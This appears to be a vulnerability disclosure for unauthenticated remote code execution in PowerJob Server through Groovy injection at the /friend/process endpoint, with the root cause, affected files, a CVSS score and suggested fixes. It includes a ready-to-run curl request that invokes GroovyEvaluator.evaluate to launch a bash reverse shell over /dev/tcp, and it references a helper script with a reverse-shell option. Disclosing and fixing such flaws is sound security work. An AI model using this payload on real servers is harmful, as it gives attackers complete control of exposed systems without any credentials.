
Unauthenticated remote code execution exploit for PowerJob Server via Groovy injection in the /friend/process endpoint, enabling arbitrary command execution and reverse shells.
/friend/process (Groovy Injection)The PowerJob Server (distributed job scheduling / computing framework) exposes the /friend/process endpoint on its Worker↔Server transport-layer HTTP port 10010 with no authentication whatsoever. The endpoint reflects an arbitrary public method of an arbitrary Spring Bean; an attacker invoking GroovyEvaluator.evaluate can execute arbitrary Groovy expressions, achieving unauthenticated remote code execution. The default docker-compose publishes this port to 0.0.0.0, so a server can be fully compromised with zero credentials.
docker-compose.yml:29-33,47-48 publishes 10010 (HTTP transport), 10086 (AKKA), 10077 (MU) to host 0.0.0.0| Item | Value |
|---|---|
| Triggering endpoint | POST http://<server>:10010/friend/process |
| Registration | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registered for all three protocols: HTTP/MU/AKKA) |
| Reflective execution | RemoteRequestProcessor.processRemoteRequest() |
| Dangerous sink | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Missing authentication | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) register routes without any token/signature check |
Key source files (relative to repository root):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registers the 10010 routes, no authentication)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest fully trusts the className, methodName, parameterTypes and args fields of the request body — it uses Class.forName + SpringUtils.getBean to obtain any Spring Bean and then invokes any of its public methods via Spring ReflectionUtils.GroovyEvaluator is a @Component bean whose evaluate(String, Object) calls the Groovy script engine (ScriptEngineManager) to eval() the attacker's expression directly.The combination of the three equals unauthenticated RCE.
RemoteProcessReq JSON that targets GroovyEvaluator.evaluate with an arbitrary Groovy expression (e.g., 'id'.execute().text).AskResponse.data (base64 JSON).Environment: JDK 17, source-built powerjob-server-starter-5.1.2.jar (daily profile), server listening on 192.168.49.128:10010. Re-verified on JDK 21 (the shell-form payload below works on both; see the note on File.write below).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Actual response: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Base64-decoding the data field yields the command output executed on the server JVM:

Alternatively, you can reproduce it using the script:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process is part of Server↔Worker internal communication; it should reject unauthenticated requests, or the method should not be remotely invocable at all.RemoteRequestProcessor to an allowlist: restrict className/methodName to framework-defined safe handlers and forbid reflective invocation of arbitrary beans.GroovyEvaluator (if it must remain, add authentication and a sandbox)./friend/process (S4S_HANDLER_PROCESS) by default or restrict it to internal sources only.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process is triggerable without a database)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...